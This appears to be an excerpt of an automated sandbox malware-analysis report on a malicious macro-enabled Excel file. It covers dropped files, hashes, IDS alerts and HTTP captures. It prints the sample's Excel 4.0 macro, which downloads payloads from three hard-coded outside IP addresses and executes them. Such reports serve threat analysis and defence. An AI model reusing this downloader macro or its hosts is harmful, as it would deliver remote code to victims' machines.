	Decline-172917164-06242021.xlsm	Get hash	malicious	Browse	185.117.73.74
	xa6FEoUw0W.dll	Get hash	malicious	Browse	188.116.36.211
	tszs3mwUbe.exe	Get hash	malicious	Browse	185.45.193.29
	pZ50mMKSLi.exe	Get hash	malicious	Browse	185.45.193.29
	qTnwCotzR9.exe	Get hash	malicious	Browse	185.45.193.29
	PwBsqWQ7jJ.exe	Get hash	malicious	Browse	185.45.193.29
	aGDehjYIws.exe	Get hash	malicious	Browse	185.198.57.204
	Tjhsm8p85Y.exe	Get hash	malicious	Browse	185.45.193.29
	T23HJFoN2Y.exe	Get hash	malicious	Browse	185.45.193.29
	i7NsO9mhTD.exe	Get hash	malicious	Browse	185.45.193.29
	o7w2HSi17V.exe	Get hash	malicious	Browse	185.141.27.225
	AB1CEF822F66D7B77574A21C8154D4A6E9FCD196A6659.exe	Get hash	malicious	Browse	185.198.57.204
	4cDyOofgzT.xlsm	Get hash	malicious	Browse	194.36.189.154
	4cDyOofgzT.xlsm	Get hash	malicious	Browse	194.36.189.154
	341288734918_06172021.xlsm	Get hash	malicious	Browse	194.36.189.154
	341288734918_06172021.xlsm	Get hash	malicious	Browse	194.36.189.154
	xax2K3BWhm.exe	Get hash	malicious	Browse	185.45.192.246
	Cancellation_480942562_06082021.xlsm	Get hash	malicious	Browse	185.45.192.236
	Cancellation_480942562_06082021.xlsm	Get hash	malicious	Browse	185.45.192.236

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4A07B784.jpg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	[TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS6 (Windows), datetime=2021:02:11 21:11:18], baseline, precision 8, 1860x1000, frames 3
Category:	dropped
Size (bytes):	139381
Entropy (8bit):	7.677272725029824
Encrypted:	false
SSDEEP:	3072:CmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOy:54P4346PgZw9gQat
MD5:	53918FB868F1540920FC189C6783FC7C
SHA1:	135CB103C5B5125C80285A83AE728B559313BADC
SHA-256:	7F6AD5212338A6586251AEF92D2543AA8E70C815FE0BF7ADDCE2C0A83D20A0B3
SHA-512:	31391EFC3D377EA32A537EF3DDCA41ABAF34C4C83CDFEF9A64D40DE219B88A293BE2BF01D6A5D2B23365513CB880020F37CA8E90506C41FB7FC8E42D4D641F51
Malicious:	false
Reputation:	low
Preview:	....!jExif..MM.*.............................b...........j.(...........1.........r.2...........i...............-....'..-....'.Adobe Photoshop CS6 (Windows).2021:02:11 21:11:18..........................D.......................................................&.(................................ 4.......H.......H.........XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch....

C:\Users\user\AppData\Local\Temp\BECE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	153117
Entropy (8bit):	7.664520146264211
Encrypted:	false
SSDEEP:	3072:cnxmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZO46M:cng4P4346PgZw9gQad
MD5:	E7FF0DFAC948EB9E3F28829A03D3CF9F
SHA1:	DE0BB99F512724500B07FE16A497934D9B2F3455
SHA-256:	1C614F666606155F93B4EC6462A3FF9196574F1527943EEC11435396B598B0D4
SHA-512:	DD3E1F81FEBF93235D9A6BFCAB0641C0C92FF6B4B234B10DF43B14FFE6C8E99CDB086B7AA142F08CF6FCC786F77474D697CD65EE975B5A1CBEC17E1B54D74D88
Malicious:	false
Reputation:	low
Preview:	...N.0...+....(q.V...X8......41.?y..o..dw..i.{i..3....x..+k.7.....E5a.8.vM.~=..Y.I8%.wP.5 ...}.>..`A..k..~p...+.....,\|.".mlx.r)........%p.L...M..B..T...F.\;V.l~.Q5.!.-E"....H...-Ay.j.u.!.P..$k..5....D......A..*..a........r......i..\|..d...`...G....._....r...:..iZ,a%.T]d..2.['..hMh.a....D.].N@../9...I.x@G.{................B...&z..w.....@......L..4.".".zJt`4_.....:T..Y..~.\|..F.\)..i........tz?F...D...>N.\].j.1i...}GWO..2..3s ./.j..w.r........PK..........!...&n....o.......[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Fri Jun 25 20:06:38 2021, atime=Fri Jun 25 20:06:38 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.501022480561873
Encrypted:	false
SSDEEP:	12:85QfLgXg/XAlCPCHaXtB8XzB/twX+WnicvbDS9bDtZ3YilMMEpxRljKHUmn6TdJU:85A/XTd6jkYeihDv3qGnirNru/
MD5:	F1455988FC9FAE5664C5753629ED52BB
SHA1:	6747F36980BE6E1AFF19D8B9F7B7C48997286F85
SHA-256:	2019327C54A56F28B2B0AE5DE5681398F7D8CC190310DD0F6DC6A7D7CEC6824C
SHA-512:	8F4005A91D7D645EA55846348B081CF56F1145650674284AD834626CEC1EDCB7A6B6C2B1BDACC31F9F13668193F81ECEA6527D3DB2F4D844E267AD836E4A8276
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G..>w...j..>w...j... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R...Desktop.d......QK.X.R...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\141700\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......141700..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Permission-414467145-06252021.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Fri Jun 25 20:06:38 2021, atime=Fri Jun 25 20:06:38 2021, length=153117, window=hide
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	4.555970335453609
Encrypted:	false
SSDEEP:	48:8Hf1W/XT0jFL1SaRS8GiQh2Hf1W/XT0jFL1SaRS8GiQ/:8Hf1W/XojFLnGiQh2Hf1W/XojFLnGiQ/
MD5:	16864E7220CE49809E8CB699A24889CB
SHA1:	15CC58A077446427D87345619805CCAA08ED64A8
SHA-256:	DF8F15797890F5E20498C2E87BA020FACE211A7EF8FE013289C7F7E5D5AEF30C
SHA-512:	B94AC86B7136C833B76D264F21C560C8CE9086440C526EBB5D07B6F6A37CC42A99B1AAED41E956E939F09CF1784F342FB943CE74130493151E9C4AB93B99A49F
Malicious:	false
Reputation:	low
Preview:	L..................F.... ......{..>w...j.._....j...V...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2..X...R. .PERMIS~1.XLS..r.......Q.y.Q.y...8.....................P.e.r.m.i.s.s.i.o.n.-.4.1.4.4.6.7.1.4.5.-.0.6.2.5.2.0.2.1...x.l.s.m.......................-...8...[............?J......C:\Users\..#...................\\141700\Users.user\Desktop\Permission-414467145-06252021.xlsm.9.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.P.e.r.m.i.s.s.i.o.n.-.4.1.4.4.6.7.1.4.5.-.0.6.2.5.2.0.2.1...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	142
Entropy (8bit):	4.642670559637109
Encrypted:	false
SSDEEP:	3:oyBVomxW+LxCRTnv5NUltLxCRTnv5NUlmxW+LxCRTnv5NUlv:djHC5vI/FC5vIaC5vI1
MD5:	DAC8913182CCB2EAEA86304F342799F4
SHA1:	394074391582ABC7A7F67CB563FC01E438712E12
SHA-256:	F287F47508BBBDFC7A95F43C0F435981E1EEDADBBF48926265E42EA173C07199
SHA-512:	EF9B7E2A51367E553A3116022DBE8FE56E7845FE79B05902048FF6C3C409BECFAA9C7C59AA64E8BB8BF3A7AEE0A63A6E93A47A3681381578FE181A43728810D5
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[misc]..Permission-414467145-06252021.LNK=0..Permission-414467145-06252021.LNK=0..[misc]..Permission-414467145-06252021.LNK=0..

C:\Users\user\Desktop\4FCE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	153117
Entropy (8bit):	7.664520146264211
Encrypted:	false
SSDEEP:	3072:cnxmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZO46M:cng4P4346PgZw9gQad
MD5:	E7FF0DFAC948EB9E3F28829A03D3CF9F
SHA1:	DE0BB99F512724500B07FE16A497934D9B2F3455
SHA-256:	1C614F666606155F93B4EC6462A3FF9196574F1527943EEC11435396B598B0D4
SHA-512:	DD3E1F81FEBF93235D9A6BFCAB0641C0C92FF6B4B234B10DF43B14FFE6C8E99CDB086B7AA142F08CF6FCC786F77474D697CD65EE975B5A1CBEC17E1B54D74D88
Malicious:	false
Reputation:	low
Preview:	...N.0...+....(q.V...X8......41.?y..o..dw..i.{i..3....x..+k.7.....E5a.8.vM.~=..Y.I8%.wP.5 ...}.>..`A..k..~p...+.....,\|.".mlx.r)........%p.L...M..B..T...F.\;V.l~.Q5.!.-E"....H...-Ay.j.u.!.P..$k..5....D......A..*..a........r......i..\|..d...`...G....._....r...:..iZ,a%.T]d..2.['..hMh.a....D.].N@../9...I.x@G.{................B...&z..w.....@......L..4.".".zJt`4_.....:T..Y..~.\|..F.\)..i........tz?F...D...>N.\].j.1i...}GWO..2..3s ./.j..w.r........PK..........!...&n....o.......[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$Permission-414467145-06252021.xlsm Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.666395274852154
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	Permission-414467145-06252021.xlsm
File size:	153750
MD5:	590ca0e597487dd5ad6c2f1fb64184dd
SHA1:	e141e27af930a2cdeafab2eb20727000de893629
SHA256:	20a72dc5350b296f2857911444fa065f5b0bb437be8d1bc61819cf29828a2955
SHA512:	fceb07823442eccaed6727b3c780fc7fbed475c15ac7131c7921505060b475d511e928c312d22980e40ebf12506d05308b55cc9fc0bc1509b244b435920fdc2e
SSDEEP:	3072:SmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOYJ:p4P4346PgZw9gQaVJ
File Content Preview:	PK..........!.........o.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4bcbcac

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Permission-414467145-06252021.xlsm"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

,=NOW()&H8,.dat,,,,,,,"=REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)","=""http://185.240.103.219/""","=Jerutyg(0,F13&G8,""..\Kro.fis"",0,0)","=""http://190.14.37.3/""","=Jerutyg(0,F14&G8,""..\Kro.fis1"",0,0)","=""http://185.183.99.120/""","=Jerutyg(0,F15&G8,""..\Kro.fis2"",0,0)",,,,,,,,,,,,,,,,,,,,=RUN(Sheet4!I9),

=EXEC(Sheet2!O22)"=EXEC(Sheet2!O22&""1"")""=EXEC(Sheet2!O22&""2"")"=HALT()

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/25/21-14:07:18.214699	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49167	185.240.103.219	192.168.2.22
06/25/21-14:07:19.251378	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49168	190.14.37.3	192.168.2.22
06/25/21-14:07:19.648943	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49169	185.183.99.120	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 25, 2021 14:07:18.037494898 CEST	49167	80	192.168.2.22	185.240.103.219
Jun 25, 2021 14:07:18.123094082 CEST	80	49167	185.240.103.219	192.168.2.22
Jun 25, 2021 14:07:18.123259068 CEST	49167	80	192.168.2.22	185.240.103.219
Jun 25, 2021 14:07:18.124540091 CEST	49167	80	192.168.2.22	185.240.103.219
Jun 25, 2021 14:07:18.209810972 CEST	80	49167	185.240.103.219	192.168.2.22
Jun 25, 2021 14:07:18.214699030 CEST	80	49167	185.240.103.219	192.168.2.22
Jun 25, 2021 14:07:18.216046095 CEST	49167	80	192.168.2.22	185.240.103.219
Jun 25, 2021 14:07:18.248059988 CEST	49168	80	192.168.2.22	190.14.37.3
Jun 25, 2021 14:07:18.453356028 CEST	80	49168	190.14.37.3	192.168.2.22
Jun 25, 2021 14:07:18.453577042 CEST	49168	80	192.168.2.22	190.14.37.3
Jun 25, 2021 14:07:18.454245090 CEST	49168	80	192.168.2.22	190.14.37.3
Jun 25, 2021 14:07:18.659498930 CEST	80	49168	190.14.37.3	192.168.2.22
Jun 25, 2021 14:07:19.251378059 CEST	80	49168	190.14.37.3	192.168.2.22
Jun 25, 2021 14:07:19.251650095 CEST	49168	80	192.168.2.22	190.14.37.3
Jun 25, 2021 14:07:19.278361082 CEST	49169	80	192.168.2.22	185.183.99.120
Jun 25, 2021 14:07:19.344367027 CEST	80	49169	185.183.99.120	192.168.2.22
Jun 25, 2021 14:07:19.344507933 CEST	49169	80	192.168.2.22	185.183.99.120
Jun 25, 2021 14:07:19.345586061 CEST	49169	80	192.168.2.22	185.183.99.120
Jun 25, 2021 14:07:19.411297083 CEST	80	49169	185.183.99.120	192.168.2.22
Jun 25, 2021 14:07:19.648942947 CEST	80	49169	185.183.99.120	192.168.2.22
Jun 25, 2021 14:07:19.649241924 CEST	49169	80	192.168.2.22	185.183.99.120
Jun 25, 2021 14:08:23.215105057 CEST	80	49167	185.240.103.219	192.168.2.22
Jun 25, 2021 14:08:23.215290070 CEST	49167	80	192.168.2.22	185.240.103.219
Jun 25, 2021 14:08:24.251876116 CEST	80	49168	190.14.37.3	192.168.2.22
Jun 25, 2021 14:08:24.254360914 CEST	49168	80	192.168.2.22	190.14.37.3
Jun 25, 2021 14:08:24.648840904 CEST	80	49169	185.183.99.120	192.168.2.22
Jun 25, 2021 14:08:24.648951054 CEST	49169	80	192.168.2.22	185.183.99.120
Jun 25, 2021 14:09:17.962203026 CEST	49169	80	192.168.2.22	185.183.99.120
Jun 25, 2021 14:09:17.962589979 CEST	49168	80	192.168.2.22	190.14.37.3
Jun 25, 2021 14:09:17.963010073 CEST	49167	80	192.168.2.22	185.240.103.219
Jun 25, 2021 14:09:18.027982950 CEST	80	49169	185.183.99.120	192.168.2.22
Jun 25, 2021 14:09:18.048146963 CEST	80	49167	185.240.103.219	192.168.2.22
Jun 25, 2021 14:09:18.167480946 CEST	80	49168	190.14.37.3	192.168.2.22

HTTP Request Dependency Graph

185.240.103.219

190.14.37.3

185.183.99.120

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	185.240.103.219	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 25, 2021 14:07:18.124540091 CEST	0	OUT	GET /44372.5879460648.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 185.240.103.219 Connection: Keep-Alive
Jun 25, 2021 14:07:18.214699030 CEST	1	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 25 Jun 2021 12:07:18 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49168	190.14.37.3	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 25, 2021 14:07:18.454245090 CEST	1	OUT	GET /44372.5879460648.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 190.14.37.3 Connection: Keep-Alive
Jun 25, 2021 14:07:19.251378059 CEST	2	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 25 Jun 2021 12:07:19 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49169	185.183.99.120	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 25, 2021 14:07:19.345586061 CEST	3	OUT	GET /44372.5879460648.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 185.183.99.120 Connection: Keep-Alive
Jun 25, 2021 14:07:19.648942947 CEST	4	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 25 Jun 2021 12:07:34 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable 